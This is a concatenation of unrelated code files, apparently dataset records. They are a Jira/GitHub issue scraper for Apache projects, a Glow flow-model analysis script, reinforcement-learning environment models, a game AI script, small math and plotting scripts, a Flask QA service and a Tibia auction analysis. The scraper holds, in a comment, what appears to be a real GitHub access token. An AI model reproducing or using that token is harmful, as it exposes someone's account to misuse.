exportedData.update(allaffectversion)\n exportedData.update(allfixversion)\n\n DEV_STATUS = 'https://issues.apache.org/jira/rest/dev-status/1.0'\n _issue = 'issue/detail?issueId=%s' % issue.id\n _args = 'applicationType=fecru&dataType=repository&_=%s' % int(time.time())\n req_url = '%s/%s&%s' % (DEV_STATUS, _issue, _args)\n response = sess_get(req_url)\n raw_data = json.loads(response.content.decode('utf-8'))\n # print(issue)\n # print(issue.key)\n # print(raw_data)\n try:\n hasCommit = True\n commits = raw_data['detail'][0]['repositories'][0]['commits']\n # storeIssues.append(response.content.decode('utf-8'))\n except IndexError:\n hasCommit = False\n if hasCommit:\n commitList = []\n for commit in commits:\n # print(req)\n # print(issue.id)\n patches = []\n # print('%s\\n%s\\n\\n' % (req['displayId'], req['files']))\n for file in commit['files']:\n patches.append({'filename': file['path']})\n commitList.append({'files': patches})\n # print(patches)\n exportedData.update({'commits': commitList})\n storeIssues.append(exportedData)\n hasCommit = False\n # if doesn't has commit, then find by pull request\n if not hasCommit:\n DEV_STATUS = 'https://issues.apache.org/jira/secure/AjaxIssueAction!default.jspa?'\n _issue = 'issueKey=%s' % issue.id\n _args = '&_=%s' % int(time.time())\n #_args = 'applicationType=github&dataType=pullrequest&_=%s' % int(time.time())\n req_url = '%s%s&%s' % (DEV_STATUS, _issue, _args)\n response = sess_get(req_url)\n raw_data = json.loads(response.content.decode('utf-8'))\n\n\n # find by regular expression\n pull_request = re.compile('https:\\/\\/github.com\\/apache\\/'+project_name.lower()+'\\/pull\\/[0-9]*')\n matched = pull_request.findall(raw_data['panels']['leftPanels'][3]['html'])\n if matched is not None and len(matched) != 0:\n pull_requests = set(matched);\n commitList = []\n for link in pull_requests:\n githubLink = str(link).replace('https://github.com/', 'https://api.github.com/repos/').replace('pull', 'pulls')+'/files' # + '?access_token=b1077655202a74c42d8ee5145c154b14a7db07e9';\n print(githubLink)\n related_files = requests.get(githubLink).json();\n patches = []\n for file in related_files:\n print(file['filename'])\n patches.append({'filename': file['filename']})\n commitList.append({'files': patches})\n # print(patches)\n exportedData.update({'commits': commitList})\n storeIssues.append(exportedData)\n else:\n hasPullRequest = False\n if not hasCommit and not hasPullRequest:\n # try to look for patch file\n # find by regular expression\n patch_file = re.compile('https:\\/\\/issues.apache.org\\/jira\\/secure\\/attachment\\/[0-9]*\\/[^.]+[.]*[0-9]*.patch')\n matched = patch_file.findall(raw_data['panels']['leftPanels'][3]['html'])\n java_file_pattern = re.compile('[^ ]+\\.java');\n if matched is not None:\n commitList = []\n for patch in set(matched):\n patches = []\n content = requests.get(patch).content\n # print(content.read())\n java_files = java_file_pattern.findall(str(content))\n for f in set(java_files):\n patches.append({'filename': f})\n commitList.append({'files': patches})\n exportedData.update({'commits': commitList})\n storeIssues.append(exportedData)\n # Done with collecting\n\n\n\n except:\n print(issue)\n\nwith open(project_name + '_data.json', 'w') as outfile:\n json.dump(storeIssues, outfile)\n\n print(issues)\n\n # issue = jira.issue('JRA-9')\n # print(issue.fields.project.key) # 'JRA'\n # print(issue.fields.issuetype.name) # 'New Feature'\n # print(issue.fields.reporter.displayName) # 'Mike Cannon-Brookes [Atlassian]'","sub_path":"issue_extractor_for_Apache.py","file_name":"issue_extractor_for_Apache.py","file_ext":"py","file_size_in_byte":7949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"620479491","text":"import argparse\nimport os\nimport json\n\nimport torch\nimport torch.utils.data as data\n\nfrom model import Glow\nimport matplotlib.pyplot as plt\nimport ipdb\nfrom recon_mnist import run_recon_evolution\nimport utils\ndevice = 'cpu' if (not torch.cuda.is_available()) else 'cuda:0'\n\nimport numpy as np\nfrom anomaly import load_ood_data\nfrom train import check_dataset, generate_from_noise\nimport math\nfrom collections import OrderedDict\nfrom datasets import preprocess\nfrom torchvision import transforms\n\nc, h, w = 3,32,32\nn_bins = 2**8\nchw = c * h * w\nbpd_correction = -math.log(n_bins) / (math.log(2.))\n\ndef compute_percent_nans_infs(x):\n x = x.view(x.size(0), -1)\n n, d = x.shape\n nx_nans = ((x!=x).sum(-1) > 0 ).sum()\n n_nans = (x!=x).sum()\n nx_infs = ((x==np.inf).sum(-1) > 0).sum()\n n_infs = (x==np.inf).sum()\n return (n_nans + n_infs).float() / float(n*d), (nx_nans + nx_infs).float() / float(n)\n\n\ndef compute_jac_cn(x, model):\n dic = utils.computeSVDjacobian(x, model, compute_inverse=False)\n D_for, jac = dic['D_for'], dic['jac_for']\n cn = float(D_for.max()/ D_for.min())\n return cn, jac\n\ndef run_analysis(x, model, recon_path):\n p_pxs, p_ims = compute_percent_nans_infs(x)\n \n # Note: CN is computed only for the 1st sample\n cn, jac = compute_jac_cn(x, model)\n _, numerical_logdet = np.linalg.slogdet(jac)\n \n with torch.no_grad():\n _, bpd, _, (_, analytic_logdet) = model.forward(x, None, return_details=True, correction=False)\n # Subtract the conditional gaussian likelihood from the split layers\n analytic_logdet = analytic_logdet - torch.stack([split._last_logdet for split in model.flow.splits]).sum(0)\n # The above forward pass was run w/o correction\n data_bpd = bpd.mean().item() - bpd_correction \n\n with torch.no_grad():\n data_pad = run_recon_evolution(model, \n x, \n recon_path)\n return p_pxs.item(), p_ims.item(), cn, np.abs(numerical_logdet-analytic_logdet[0].item()), data_bpd, data_pad.item()\n\ndef one_to_three_channels(x):\n if x.shape[0] == 1:\n x = x.repeat(3,1,1)\n return x \n\ndef main(dataset, dataroot, download, augment, n_workers, eval_batch_size, output_dir,db, glow_path,ckpt_name):\n\n \n (image_shape, num_classes, train_dataset, test_dataset) = check_dataset(dataset, dataroot, augment, download)\n\n test_loader = data.DataLoader(test_dataset, batch_size=eval_batch_size,\n shuffle=False, num_workers=n_workers,\n drop_last=False)\n\n x = test_loader.__iter__().__next__()[0].to(device)\n\n # OOD data\n ood_distributions = ['gaussian']\n # ood_distributions = ['gaussian', 'rademacher', 'texture3', 'svhn','tinyimagenet','lsun']\n tr = transforms.Compose([])\n tr.transforms.append(transforms.ToPILImage()) \n tr.transforms.append(transforms.Resize((32,32)))\n tr.transforms.append(transforms.ToTensor())\n tr.transforms.append(one_to_three_channels)\n tr.transforms.append(preprocess)\n ood_tensors = [(out_name, torch.stack([tr(x) for x in load_ood_data({\n 'name': out_name,\n 'ood_scale': 1,\n 'n_anom': eval_batch_size,\n })]).to(device)\n ) for out_name in ood_distributions]\n if 'sd' in glow_path:\n with open(os.path.join(os.path.dirname(glow_path), 'hparams.json'), 'r') as f:\n model_kwargs = json.load(f)\n model = Glow(\n (32, 32, 3), \n model_kwargs['hidden_channels'], \n model_kwargs['K'], \n model_kwargs['L'], \n model_kwargs['actnorm_scale'],\n model_kwargs['flow_permutation'], \n model_kwargs['flow_coupling'], \n model_kwargs['LU_decomposed'], \n 10,\n model_kwargs['learn_top'], \n model_kwargs['y_condition'],\n model_kwargs['logittransform'],\n model_kwargs['sn'],\n model_kwargs['affine_eps'],\n model_kwargs['no_actnorm'],\n model_kwargs['affine_scale_eps'], \n model_kwargs['actnorm_max_scale'], \n model_kwargs['no_conv_actnorm'],\n model_kwargs['affine_max_scale'],\n model_kwargs['actnorm_eps'],\n model_kwargs['no_split']\n )\n model.load_state_dict(torch.load(glow_path))\n model.set_actnorm_init()\n else:\n model = torch.load(glow_path)\n model = model.to(device)\n model.eval()\n\n with torch.no_grad():\n samples = generate_from_noise(model, eval_batch_size,clamp=False, guard_nans=False)\n stats = OrderedDict()\n for name, x in [('data',x), ('samples',samples)] + ood_tensors:\n p_pxs, p_ims, cn, dlogdet, bpd, pad = run_analysis(x, model, os.path.join(output_dir, f'recon_{ckpt_name}_{name}.jpeg'))\n \n stats[f\"{name}-percent-pixels-nans\"] = p_pxs\n stats[f\"{name}-percent-imgs-nans\"] = p_ims\n stats[f\"{name}-cn\"] = cn\n stats[f\"{name}-dlogdet\"] = dlogdet\n stats[f\"{name}-bpd\"] = bpd\n stats[f\"{name}-recon-err\"] = pad\n \n with open(os.path.join(output_dir, f'results_{ckpt_name}.json'), 'w') as fp:\n json.dump(stats, fp, indent=4)\n\n\ndef makedirs(dirname):\n if not os.path.exists(dirname):\n os.makedirs(dirname)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--dataset', type=str,\n default='cifar10', choices=['cifar10', 'svhn', 'mnist'],\n help='Type of the dataset to be used.')\n parser.add_argument('--dataroot',\n type=str, default='/scratch/gobi2/wangkuan/data',\n help='path to dataset')\n parser.add_argument('--download', default=True)\n parser.add_argument('--no_augment', action='store_false',\n dest='augment', help='Augment training data')\n parser.add_argument('--n_workers',\n type=int, default=6,\n help='number of data loading workers')\n parser.add_argument('--eval_batch_size',\n type=int, default=512,\n help='batch size used during evaluation')\n parser.add_argument('--db', type=int, default=0)\n parser.add_argument('--glow_path', type=str, default='')\n\n args = parser.parse_args()\n kwargs = vars(args)\n\n # Create output_dir \n base_dir = os.path.dirname(args.glow_path)\n args.output_dir = os.path.join(base_dir, 'analyze')\n args.ckpt_name = os.path.basename(args.glow_path).split('.')[0]\n\n\n makedirs(args.dataroot)\n makedirs(args.output_dir)\n \n with open(os.path.join(args.output_dir, f'hparams_{args.ckpt_name}.json'), 'w') as fp:\n json.dump(kwargs, fp, sort_keys=True, indent=4)\n\n log_file = os.path.join(args.output_dir, f'log_{args.ckpt_name}.txt')\n log = open(log_file, 'w')\n _print = print\n def print(*content):\n _print(*content)\n _print(*content, file=log)\n log.flush()\n\n main(**kwargs)\n log.close()\n","sub_path":"analyze.py","file_name":"analyze.py","file_ext":"py","file_size_in_byte":7315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"492567263","text":"import numpy as np\nimport tensorflow as tf\n\nfrom tf_agents.environments.tf_py_environment import TFPyEnvironment\n\nfrom bellman.environments.initial_state_distribution_model import (\n DeterministicInitialStateModel,\n)\nfrom bellman.environments.reward_model import RewardModel\nfrom bellman.environments.termination_model import TerminationModel\n\n\nclass CRWRewardModel(RewardModel):\n \"\"\"\n Reward function for the controlled random walk environment, based on cost_per_buffer.\n Information from the environment is neeeded.\n \"\"\"\n def __init__(self, observation_spec: tf.TensorSpec, action_spec: tf.TensorSpec, env: TFPyEnvironment):\n self.cost_per_buffer = env.cost_per_buffer\n super().__init__(observation_spec, action_spec)\n\n def _step_reward(\n self, observation: tf.Tensor, action: tf.Tensor, next_observation: tf.Tensor\n ) -> tf.Tensor:\n cost = np.dot(self.cost_per_buffer.transpose(), observation)\n reward = - float(cost)\n return tf.cast(reward, self._reward_spec.dtype)\n\n\nclass CRWInitialStateModel(DeterministicInitialStateModel):\n \"\"\"\n Initial state model for the the controlled random walk environment.\n Information from the environment is neeeded.\n \"\"\"\n\n def __init__(self, env: TFPyEnvironment):\n self.initial_state = env.state_initialiser.get_initial_state()\n super().__init__(state=self.initial_state)\n","sub_path":"src/snc/agents/rl/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"446522127","text":"import App\n\nclass TargetListPerparer:\n def __init__(self, pAttackGroup):\n self.pAttackers = pAttackGroup\n\n def SetAttackedCondition(self, pCondition):\n self.pAttackedCondition = pCondition\n\n def GetNextUpdateTime(self):\n return 5.0\n\n def Update(self, dEndTime):\n import MissionLib\n pFriendlies = MissionLib.GetFriendlyGroup()\n\n # Update the list of attackers from the condition.\n pScript = self.pAttackedCondition.GetConditionScript()\n lsAttackers = pScript.GetTargetList()\n\n if lsAttackers:\n for sAttacker in lsAttackers:\n # If this attacker is a Friendly object, don't add it to the\n # list of targets.\n## if pFriendlies and pFriendlies.IsNameInGroup(sAttacker):\n## continue\n\n try:\n fShieldDamage = pScript.dfShieldDamage[sAttacker]\n except KeyError:\n fShieldDamage = 0.0\n\n try:\n fHullDamage = pScript.dfDamageDamage[sAttacker]\n except KeyError:\n fHullDamage = 0.0\n\n fPriority = fShieldDamage + fHullDamage\n self.pAttackers[sAttacker] = { \"Priority\" : fPriority }\n\n return App.PreprocessingAI.PS_NORMAL\n\n\n\ndef CreateAI(pShip):\n pAttackGroup = App.ObjectGroupWithInfo()\n pAttackGroup[pShip.GetName()] = { \"Priority\" : -1000.0 }\n\n #########################################\n # Creating CompoundAI Attack at (120, 106)\n import AI.Compound.BasicAttack\n pAttack = AI.Compound.BasicAttack.CreateAI(pShip, pAttackGroup, AggressivePulseWeapons = 1, SmartPhasers = 1, UseCloaking = 1, WarpOutBeforeDying = 1)\n # Done creating CompoundAI Attack\n #########################################\n #########################################\n # Creating PreprocessingAI PrepTargetList at (118, 154)\n ## Setup:\n pTargetPrep = TargetListPerparer(pAttackGroup)\n ## The PreprocessingAI:\n pPrepTargetList = App.PreprocessingAI_Create(pShip, \"PrepTargetList\")\n pPrepTargetList.SetInterruptable(1)\n pPrepTargetList.SetPreprocessingMethod(pTargetPrep, \"Update\")\n pPrepTargetList.SetContainedAI(pAttack)\n # Done creating PreprocessingAI PrepTargetList\n #########################################\n #########################################\n # Creating ConditionalAI DefendeeAttacked at (117, 201)\n ## Conditions:\n #### Condition Attacked\n pAttacked = App.ConditionScript_Create(\"Conditions.ConditionAttacked\", \"ConditionAttacked\", pShip.GetName(), 0.0001, 0.0001, 45)\n ## Evaluation function:\n def EvalFunc(bAttacked):\n ACTIVE = App.ArtificialIntelligence.US_ACTIVE\n DORMANT = App.ArtificialIntelligence.US_DORMANT\n DONE = App.ArtificialIntelligence.US_DONE\n if bAttacked:\n return ACTIVE\n return DORMANT\n ## The ConditionalAI:\n pDefendeeAttacked = App.ConditionalAI_Create(pShip, \"DefendeeAttacked\")\n pDefendeeAttacked.SetInterruptable(1)\n pDefendeeAttacked.SetContainedAI(pPrepTargetList)\n pDefendeeAttacked.AddCondition(pAttacked)\n pDefendeeAttacked.SetEvaluationFunction(EvalFunc)\n # Done creating ConditionalAI DefendeeAttacked\n #########################################\n pTargetPrep.SetAttackedCondition(pAttacked)\n return pDefendeeAttacked\n","sub_path":"scripts/AI/Compound/Defend3.py","file_name":"Defend3.py","file_ext":"py","file_size_in_byte":3936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"182021724","text":"import numpy as np\nimport math\n# 參考文獻：Numerical example to understand Expectation-Maximization -- http://ai.stanford.edu/~chuongdo/papers/em_tutorial.pdf\n# What is the expectation maximization algorithm? (PDF) -- http://stats.stackexchange.com/questions/72774/numerical-example-to-understand-expectation-maximization\n\ndef logp(n):\n pi = 1.0/n\n return math.log(pi)\n\ndef xplog(x, p): # 計算條件熵 cross entropy H(x;p)\n n = np.sum(x)\n r = logp(n)\n for xi in x:\n r -= logp(xi)\n return r + np.dot(x, np.log(p))\n\ndef EM():\n# 1st: Coin B, {HTTTHHTHTH}, 5H,5T\n# 2nd: Coin A, {HHHHTHHHHH}, 9H,1T\n# 3rd: Coin A, {HTHHHHHTHH}, 8H,2T\n# 4th: Coin B, {HTHTTTHHTT}, 4H,6T\n# 5th: Coin A, {THHHTHHHTH}, 7H,3T\n# so, from MLE: pA(heads) = 0.80 and pB(heads)=0.45\n e = [ [5,5], [9,1], [8,2], [4,6], [7,3] ]\n pA = [0.6, 0.4]\n pB = [0.5, 0.5]\n delta = 9.9999\n for _ in range(1000):\n print(\"pA={} pB={} delta={}\".format(pA, pB, delta))\n sumA=[0,0]\n sumB=[0,0]\n for ei in e:\n lA = xplog(ei, pA)\n lB = xplog(ei, pB)\n a = np.exp(lA)\n b = np.exp(lB)\n wA = a/(a+b)\n wB = b/(a+b)\n eA = np.multiply(wA, ei)\n eB = np.multiply(wB, ei)\n sumA = np.add(sumA, eA)\n sumB = np.add(sumB, eB)\n\n npA = np.multiply(sumA, 1.0/np.sum(sumA))\n npB = np.multiply(sumB, 1.0/np.sum(sumB))\n dA = np.subtract(npA, pA)\n dB = np.subtract(npB, pB)\n delta = np.max([dA, dB])\n if delta < 0.001: break\n pA = npA\n pB = npB\n\nEM()\n","sub_path":"python/10-machineLearning/em/em.py","file_name":"em.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"188741205","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport sys\nsys.path.append(\"../analyse/\")\nimport calculations as cc\n\ndef fake_deg_to_mm(xvals):\n degrees = xvals * 1.2/1000.\n return 1000.*degrees*np.pi/180.\n\ndef xscale(xvals, labda):\n \"\"\" makes xvalues into distance in units of labda\n \"\"\"\n return xvals * 1.22 * 50/3. * labda\n\ndef airy_model_input_u(u, shift):\n \"\"\" takes the input u for (J1(u)/u)**2,\n independent of what u consists of,\n and a horizontal shift 'shift'\n \"\"\"\n # remove also pi so tops are 1.22 apart but still correct\n return (2*cc.jn(1,u*np.pi-shift) / (u*np.pi-shift))**2\n\nmodel = airy_model_input_u\nu = np.arange(-10.,10.,0.01)\ndist = xscale(u, 0.077)\n\nx_qcl, y_qcl, z_qcl = np.loadtxt('qcl_central_x_f1.csv', delimiter=',', skiprows=1, unpack=True)\nx_qcl, y_qcl, z_qcl = cc.shifttozero((x_qcl, y_qcl, z_qcl))\n\n\nplt.figure(figsize=(12,8))\ncc.plotsimple(fake_deg_to_mm(x_qcl), z_qcl/z_qcl.max(), 'blue', 'QCL', linewidth=2, linestyle='-')\ncc.plotsimple(dist, model(u, -0.3), 'red', r'theory, 0.077 mm', linewidth=2, linestyle='--')\nplt.axis([-5,5,0,1])\n# plt.legend(bbox_to_anchor=(0.4, 0.9), bbox_transform=plt.gcf().transFigure)\nplt.xlabel('Distance [mm]')\nplt.ylabel('Normalized Intensity [a.u.]')\nplt.tight_layout()\n# plt.savefig('qcl_airy.pdf')\nplt.show()","sub_path":"metingen_willemjan/qcl_plots.py","file_name":"qcl_plots.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"225807691","text":"#\n# @lc app=leetcode.cn id=46 lang=python\n#\n# [46] 全排列\n#\n\n# @lc code=start\nclass Solution(object):\n def permute(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[List[int]]\n \"\"\"\n res = []\n self.dfs(nums, [], res)\n return res\n\n # Solution_1 —— 回溯\n def dfs(self, nums, l, ans):\n if not nums:\n ans.append(l)\n return \n for i in range(len(nums)):\n self.dfs(nums[:i] + nums[i+1:], l + [nums[i]], ans)\n# @lc code=end\n\n","sub_path":"Week03/46.全排列.py","file_name":"46.全排列.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"592324611","text":"from flask import Flask, request, abort\nfrom infer import infer_qa\nimport logging\nlogging.basicConfig(format='%(levelname)s :: %(asctime)s :: %(message)s', level=logging.DEBUG)\n\napp = Flask(__name__)\n@app.route('/query')\ndef query():\n logging.debug(\"Inside query function\")\n try:\n query = request.args.get('query', '')\n candidate = request.args.get('candidate','')\n answer, probability = infer_qa(query, candidate)\n return {\"answer\":answer, \"probability\":probability}\n except Exception as e:\n logging.debug(e)\n abort(400)\n","sub_path":"services/question_answering_backend/src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"305773281","text":"import math\r\nimport pandas as pd\r\nfrom matplotlib import pyplot as plt\r\nimport matplotlib.colors as colors\r\n\r\n# Plot settings\r\nvoc_colors = dict(EK='#0173b2', RP='#de8f05', ED='#029e73', MS='#d55e00', N='#cc78bc', K='#0173b2', P='#de8f05',\r\n D='#029e73', S='#d55e00')\r\npvp_colors = {'Open PvP': '#0173b2', 'Retro Hardcore PvP': '#de8f05', 'Retro Open PvP': '#029e73',\r\n 'Optional PvP': '#d55e00', 'Hardcore PvP': '#cc78bc'}\r\ncolor_dict = {'red': ((0.0, 0.0, 0.0), # no red at 0\r\n (0.5, 1.0, 1.0), # all channels set to 1.0 at 0.5 to create white\r\n (1.0, 0.8, 0.8)), # set to 0.8 so its not too bright at 1\r\n\r\n 'green': ((0.0, 0.8, 0.8), # set to 0.8 so its not too bright at 0\r\n (0.5, 1.0, 1.0), # all channels set to 1.0 at 0.5 to create white\r\n (1.0, 0.0, 0.0)), # no green at 1\r\n\r\n 'blue': ((0.0, 0.0, 0.0), # no blue at 0\r\n (0.5, 1.0, 1.0), # all channels set to 1.0 at 0.5 to create white\r\n (1.0, 0.0, 0.0)) # no blue at 1\r\n }\r\n\r\n# Import scraped auction data and Tibia World data\r\ncomplete_auction_dataframe = pd.read_pickle('last_scrape.pkl')\r\nauction_dataframe = complete_auction_dataframe[~complete_auction_dataframe.duplicated(subset='Id', keep=False)]\r\nworlds_dataframe = pd.read_pickle('tibia_game_worlds.pkl')\r\n\r\n# Divide dataframe: successful and failed auctions\r\nwon_auctions = auction_dataframe[auction_dataframe.Type.eq(\"W\")]\r\nsuccessful_auctions = won_auctions[won_auctions.Status.ne(\"cancelled\")]\r\nfailed_auctions = auction_dataframe[auction_dataframe.Type.eq(\"M\")]\r\n\r\n# Calculate totals\r\ntotal_transactions = len(auction_dataframe)\r\nsuccessful_transactions = len(successful_auctions)\r\nfailed_transactions = len(failed_auctions)\r\nsuccess_ratio = successful_transactions / total_transactions\r\nfail_ratio = failed_transactions / total_transactions\r\ntotal_value = successful_auctions['Bid'].sum()\r\naverage_sale = total_value / successful_transactions\r\n\r\n# Calculate taxes\r\nauction_tax = total_transactions * 50\r\nsale_tax = [math.floor(tax) for tax in list(successful_auctions['Bid'] * 0.12)]\r\nsale_tax_total = sum(sale_tax)\r\ntotal_taxes = auction_tax + sale_tax_total\r\n\r\n# Data by vocation\r\nvocations = [('EK', 'K'), ('RP', 'P'), ('ED', 'D'), ('MS', 'S'), ('N',)]\r\nvoc_keys = list((map(lambda k: k[0], vocations)))\r\nvoc_columns = ['AvgLevel', 'AvgBid', 'Count']\r\nvocation_totals = pd.DataFrame(columns=voc_columns, index=voc_keys)\r\nfor vocation in vocations:\r\n vocation_dataframe = successful_auctions[successful_auctions.Vocation.isin(vocation)]\r\n voc_avg_level = vocation_dataframe['Level'].mean()\r\n voc_avg_bid = vocation_dataframe['Bid'].mean()\r\n voc_count = len(vocation_dataframe)\r\n vocation_totals.loc[vocation[0]] = (voc_avg_level, voc_avg_bid, voc_count)\r\n\r\n# Print summary to file\r\nwith open('totals_output.txt', 'w') as out_file:\r\n out_file.write(\"[code][quote]\")\r\n out_file.write(f\"\\nConcluded auctions: {total_transactions:,}\")\r\n out_file.write(f\"\\nSuccessful auctions: {successful_transactions:,} ({success_ratio * 100:.2f}%)\")\r\n out_file.write(f\"\\nFailed auctions: {failed_transactions:,} ({fail_ratio * 100:.2f}%)\")\r\n for voc_tuple in vocation_totals.iterrows():\r\n voc_count = voc_tuple[1]['Count']\r\n out_file.write(f\"\\n{voc_tuple[0]}s traded: {voc_count:,} ({100 * voc_count / successful_transactions:.2f}%)\")\r\n out_file.write(f\"\\nSuccessful auctions total {total_value:,} Tibia Coins.\")\r\n out_file.write(f\"\\nAuction taxes total {auction_tax:,} Tibia Coins.\")\r\n out_file.write(f\"\\nSale taxes total {sale_tax_total:,} Tibia Coins.\")\r\n out_file.write(f\"\\nTotal taxes: {total_taxes:,} Tibia Coins\")\r\n out_file.write(\"[code][quote]\")\r\n\r\n# Pie plot: auctions by vocation\r\n_, txts, autotxts = plt.pie(vocation_totals['Count'], labels=vocation_totals.index, wedgeprops={'edgecolor': 'black'},\r\n autopct=lambda pct: \"{:.2f}%\\n({:d})\".format(pct, int(pct * successful_transactions / 100)))\r\nplt.style.use(\"seaborn-colorblind\")\r\nplt.title(\"Successful auctions by vocation\", fontname=\"Cambria\", size=20)\r\nplt.setp(autotxts, fontname=\"Cambria\", size=15)\r\nplt.setp(txts, fontname=\"Cambria\", size=20)\r\nplt.show()\r\n\r\n# Scatter plot: bid values by level for each vocation\r\nfig, axs = plt.subplots(2, 2, sharey=True, sharex=True)\r\nfor index, vocation in enumerate(vocations[:-1]):\r\n vocation_dataframe = successful_auctions[successful_auctions.Vocation.isin(vocation)]\r\n failed_dataframe = failed_auctions[failed_auctions.Vocation.isin(vocation)]\r\n voc_color = voc_colors[vocation[0]]\r\n b = \"0\" + bin(index)[2:]\r\n bin_loc = b[-2:]\r\n i_idx = int(bin_loc[0])\r\n j_idx = int(bin_loc[1])\r\n axs[i_idx, j_idx].scatter(x=vocation_dataframe['Level'], y=vocation_dataframe['Bid'], edgecolor='black',\r\n color=voc_color, label=vocation[0])\r\n axs[i_idx, j_idx].scatter(x=failed_dataframe['Level'], y=failed_dataframe['Bid'], edgecolor=voc_color,\r\n color='none', label='(FAILED)', alpha=0.2)\r\n axs[i_idx, j_idx].legend(loc='upper left')\r\n axs[i_idx, j_idx].grid(which='both')\r\n axs[i_idx, j_idx].set_xlim(left=0)\r\nplt.ylim(0, 1.1*successful_auctions['Bid'].max())\r\nplt.xlim(0, 1.1*successful_auctions['Level'].max())\r\n#plt.xlabel('Level', size=20)\r\n#plt.ylabel('Bid', size=20)\r\nplt.suptitle('Level (X) versus Winning Bids (Y) for each Vocation', size=20)\r\nplt.show()\r\n\r\n# Histogram: name lengths\r\nname_lengths = list((map(lambda name: len(name), auction_dataframe['Name'])))\r\nnl_bins = range(0, max(name_lengths)+2)\r\nnl_hist = plt.hist(name_lengths, bins=nl_bins, color='#0173b2', edgecolor='black', alpha=0.5)\r\noffset = max(nl_hist[0])/50\r\nfor idx in range(0, len(nl_bins)-1):\r\n string = str(int(nl_hist[0][idx])) + \" (\" + str(int(nl_hist[1][idx])) + \")\"\r\n plt.text(nl_hist[1][idx], nl_hist[0][idx]+offset, string, size=8)\r\nplt.xlim(0, max(name_lengths)+1)\r\nplt.xlabel(\"Character Name Length\", size=25)\r\nplt.ylabel(\"Number of Auctions\", size=25)\r\nplt.show()\r\n\r\n# Bubble plot: world, avg level, avg bid, transaction count, pvp type\r\nworlds = list(worlds_dataframe.index)\r\nfor world in worlds:\r\n world_dataframe = auction_dataframe[auction_dataframe['World'].eq(world)]\r\n s_auctions = world_dataframe[world_dataframe['Type'].eq('W')]\r\n s_count = len(s_auctions)\r\n s_avg_level = s_auctions['Level'].mean()\r\n s_avg_bid = s_auctions['Bid'].mean()\r\n world_type = worlds_dataframe.loc[world]['Type']\r\n color = pvp_colors[world_type]\r\n plt.scatter(s_avg_level, s_avg_bid, s=s_count, alpha=0.5, color=color, edgecolor='black')\r\n plt.annotate(world, (s_avg_level, s_avg_bid), size=6)\r\nworld_types = pd.unique(worlds_dataframe['Type'])\r\nfor world_type in world_types:\r\n color = pvp_colors[world_type]\r\n plt.scatter(-100, -100, s=100, label=world_type, color=color, alpha=0.50, edgecolor='black')\r\nplt.legend(frameon=True, title='World Types', loc='upper left', fontsize=20)\r\nplt.xlabel('Average level', size=30)\r\nplt.ylabel('Average Bid', size=30)\r\nplt.xlim(80)\r\nplt.ylim(600)\r\nplt.grid(which='both')\r\nplt.xticks(range(80, 320, 20))\r\nplt.yticks(range(600, 5000, 200))\r\nplt.show()\r\n\r\n\r\nduplicated_chars_dataframe = successful_auctions[successful_auctions.duplicated(subset='Name', keep=False)]\r\nduplicated_char_names = set(duplicated_chars_dataframe['Name'])\r\nduplicated_count = len(duplicated_char_names)\r\nfirst_check = duplicated_chars_dataframe.duplicated(subset='Name', keep='first')\r\nfirst_entry = duplicated_chars_dataframe[~first_check]\r\nsecond_onwards_first = duplicated_chars_dataframe[first_check]\r\nsecond_entry = second_onwards_first[~second_onwards_first.duplicated(subset='Name', keep='first')]\r\n\r\nfirst_bid_avg = first_entry['Bid'].mean()\r\nsecond_bid_avg = second_entry['Bid'].mean()\r\n\r\ngreen_to_red = colors.LinearSegmentedColormap('G2R', color_dict)\r\nprofit = []\r\nlevel = []\r\nfor char_name in duplicated_char_names:\r\n char_dataframe = duplicated_chars_dataframe[duplicated_chars_dataframe['Name'].eq(char_name)]\r\n char_level = char_dataframe['Level'].iloc[0]\r\n first_bid = char_dataframe['Bid'].iloc[0]\r\n second_bid = char_dataframe['Bid'].iloc[1]\r\n char_profit = second_bid - first_bid\r\n if char_profit > 0:\r\n point_color = 'green'\r\n else:\r\n point_color = 'red'\r\n profit.append(char_profit)\r\n level.append(char_level)\r\n plt.scatter(char_level, char_profit, color=point_color, edgecolor='black')\r\nmax_profit = max(profit)\r\nmax_loss = min(profit)\r\nmin_level = min(level)\r\nmax_level = max(level)\r\nx_step = 20\r\nx_range = range(0, max_level+x_step, x_step)\r\ny_step = 200\r\ny_range = range(200*round((max_loss-y_step)/200), max_profit+y_step, y_step)\r\nplt.yticks(y_range)\r\nplt.xticks(x_range)\r\nplt.xlim(0, max_level+x_step)\r\nplt.grid(which='both')\r\nplt.xlabel('Character level', size=20)\r\nplt.ylabel('Resale profit (taxes disregarded)', size=20)\r\nplt.title('Characters Auctioned Twice', size=20)\r\n#plt.scatter(level, profit, c=profit, cmap=green_to_red, edgecolor='black')\r\nplt.show()\r\n\r\n\r\n#name_lengths = list((map(lambda name: len(name), auction_dataframe['Name'])))\r\n#nl_bins = range(0, max(name_lengths)+2)\r\n#nl_hist = plt.hist(name_lengths, bins=nl_bins, color='#0173b2', edgecolor='black', alpha=0.5)\r\n#offset = max(nl_hist[0])/50\r\n#for idx in range(0, len(nl_bins)-1):\r\n# string = str(int(nl_hist[0][idx])) + \" (\" + str(int(nl_hist[1][idx])) + \")\"\r\n# plt.text(nl_hist[1][idx], nl_hist[0][idx]+offset, string, size=8)\r\n#plt.xlim(0, 